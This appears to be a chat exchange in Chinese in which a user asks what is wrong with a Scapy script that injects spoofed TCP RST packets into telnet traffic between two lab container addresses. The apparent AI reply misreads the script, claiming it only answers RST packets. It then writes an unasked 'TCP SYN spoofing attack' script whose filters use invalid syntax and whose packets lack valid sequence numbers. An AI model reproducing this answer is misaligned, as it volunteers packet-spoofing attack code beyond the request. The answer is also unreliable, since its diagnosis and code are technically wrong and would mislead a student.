#!/usr/bin/python3 from scapy.all import* SRC = "172.17.0.2" DST = "172.17.0.3" PORT = 23 def spoof(pkt): old_tcp = pkt[TCP] old_ip = pkt[IP] if(old_tcp.flags=="R"): return ########################################################################### ip = IP(src = old_ip.dst, dst = old_ip.src) tcp = TCP(sport = old_tcp.dport, dport = old_tcp.sport, seq = old_tcp.seq,flags = "R") ########################################################################### pkt = ip/tcp send(pkt, verbose=0) print("Spoofed Packet: {} --> {}".format(ip.src, ip.dst)) f = 'tcp and src host {} and dst host {} and dst port {}'.format(SRC, DST, PORT) sniff(filter=f, prn=spoof) 帮忙看一下这个代码的问题

这段代码的问题在于，它只是对接收到的 TCP RST 包进行了响应，而没有实现 TCP SYN 包的欺骗。

因此，如果您的目标是使用 Scapy 实现 TCP SYN 欺骗攻击，您需要修改代码以实现以下操作：

1. 捕获发送到目标 IP 地址和端口的 TCP SYN 包。

2. 构造一个 TCP SYN/ACK 响应包并发送到源 IP 地址和端口。

3. 等待目标设备发送一个 ACK 包作为响应。

4. 在收到 ACK 包后，您可以选择继续发送数据包，或者关闭连接。

您可以参考以下代码示例来实现 TCP SYN 欺骗攻击：

#!/usr/bin/python3
from scapy.all import*

SRC = "172.17.0.2"
DST = "172.17.0.3"
PORT = 23

def spoof(pkt):
    old_tcp = pkt[TCP]
    old_ip = pkt[IP]
    
    # 捕获目标设备发送的TCP SYN包
    if old_tcp.flags == "S":
        print("Received TCP SYN packet from {}".format(old_ip.src))
        
        # 构造TCP SYN/ACK响应包
        ip = IP(src = DST, dst = old_ip.src)
        tcp = TCP(sport = PORT, dport = old_tcp.sport, seq = 12345, ack = old_tcp.seq + 1, flags = "SA")
        pkt = ip/tcp
        
        # 发送TCP SYN/ACK响应包
        send(pkt, verbose = 0)
        print("Sent TCP SYN/ACK packet to {}".format(old_ip.src))
        
        # 等待目标设备发送ACK包
        f = 'tcp and src host {} and dst host {} and dst port {} and tcp.flags==0x10'.format(old_ip.src, DST, PORT)
        ack_pkt = sniff(filter = f, count = 1)
        
        # 发送数据包或关闭连接
        if ack_pkt:
            print("Received ACK packet from {}".format(old_ip.src))
            # 发送数据包
            data_pkt = IP(dst = old_ip.src)/TCP(sport = PORT, dport = old_tcp.sport, flags = "PA")/"Hello, world!"
            send(data_pkt, verbose = 0)
            print("Sent data packet to {}".format(old_ip.src))
        else:
            # 关闭连接
            print("Failed to receive ACK packet from {}".format(old_ip.src))
            rst_pkt = IP(dst = old_ip.src)/TCP(sport = PORT, dport = old_tcp.sport, flags = "R")
            send(rst_pkt, verbose = 0)
            print("Sent RST packet to {}".format(old_ip.src))
        
# 捕获TCP SYN包
f = 'tcp and src host {} and dst host {} and dst port {} and tcp.flags==0x02'.format(SRC, DST, PORT)
sniff(filter = f, prn = spoof)

请注意，TCP SYN 欺骗攻击可能违反法律法规，因此请务必遵守当地法律法规并仅用于合法目的。